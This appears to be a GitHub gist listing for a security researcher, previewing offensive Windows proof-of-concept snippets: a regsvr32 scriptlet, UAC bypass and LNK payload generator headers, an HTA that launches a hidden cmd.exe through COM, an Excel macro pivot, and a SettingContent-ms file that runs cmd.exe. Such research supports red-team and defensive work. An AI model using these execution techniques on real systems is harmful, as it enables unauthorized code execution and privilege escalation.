Skip to content

Instantly share code, notes, and snippets.

View enigma0x3's full-sized avatar

Matt Nelson enigma0x3

1.4k followers · 0 following
View GitHub Profile
@enigma0x3
enigma0x3 / keybase.md
Created May 5, 2015 15:28

Keybase proof

I hereby claim:

  • I am enigma0x3 on github.
  • I am enigma0x3 (https://keybase.io/enigma0x3) on keybase.
  • I have a public key whose fingerprint is ACA2 EE69 66CD 2383 F8CF 98E7 BD02 7173 DFDC DF56

To claim this, I am signing this object:

@enigma0x3
enigma0x3 / Backdoor-Minimalist.sct
Last active May 4, 2024 18:03
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
@enigma0x3
enigma0x3 / UACBypass.ps1
Created October 18, 2016 15:30 — forked from mattifestation/UACBypass.ps1
function Invoke-UACBypass {
<#
.SYNOPSIS
Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.
Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@enigma0x3
enigma0x3 / Create-LNK.ps1
Created January 5, 2017 15:04
function Create-LNKPayload{
<#
.SYNOPSIS
Generates a malicous LNK file
.PARAMETER LNKName
Name of the LNK file you want to create.
@enigma0x3
enigma0x3 / COM.hta
Last active June 9, 2022 02:24
<script language="VBScript">
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "cmd.exe",Null,"C:\Windows\System32",Null,0
self.close
</script>
@enigma0x3
enigma0x3 / Invoke-ExcelMacroPivot.ps1
Created September 11, 2017 14:51
function Invoke-ExcelMacroPivot{
<#
.AUTHOR
Matt Nelson (@enigma0x3)
.SYNOPSIS
Pivots to a remote host by using an Excel macro and Excel's COM object
.PARAMETER Target
Remote host to pivot to
.PARAMETER RemoteDocumentPath
Local path on the remote host where the payload resides
@enigma0x3
enigma0x3 / test.SettingContent-ms
Created June 11, 2018 15:02
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>
<Icon>%windir%\system32\control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
@enigma0x3
enigma0x3 / rpc_dump_august.txt
Created October 23, 2018 17:20 — forked from masthoon/rpc_dump_rs4.txt
RPC interfaces dump August 2018
--------------------------------------------------------------------------------
<WinProcess "smss.exe" pid 520 at 0x5db0c50L>
64
[!!] Invalid rpcrt4 base: 0x0 vs 0x7ff868230000
--------------------------------------------------------------------------------
<WinProcess "csrss.exe" pid 776 at 0x5db0908L>
64
Interfaces :
Endpoints :
@enigma0x3
enigma0x3 / ConvertShellcode.py
Created October 25, 2018 21:01 — forked from rvrsh3ll/ConvertShellcode.py
import binascii
import sys
file_name = sys.argv[1]
with open (file_name) as f:
hexdata = binascii.hexlify(f.read())
hexlist = map(''.join, zip(hexdata[::2], hexdata[1::2]))
shellcode = ''
for i in hexlist:
shellcode += "0x{},".format(i)
@enigma0x3
enigma0x3 / rpc_dump_rs5.txt
Created January 22, 2019 16:57 — forked from masthoon/rpc_dump_rs5.txt
RPC interfaces RS5
--------------------------------------------------------------------------------
<WinProcess "smss.exe" pid 368 at 0x5306908L>
64
[!!] Invalid rpcrt4 base: 0x0 vs 0x7ffec24f0000
--------------------------------------------------------------------------------
<WinProcess "csrss.exe" pid 472 at 0x5306e48L>
64
Interfaces :
Endpoints :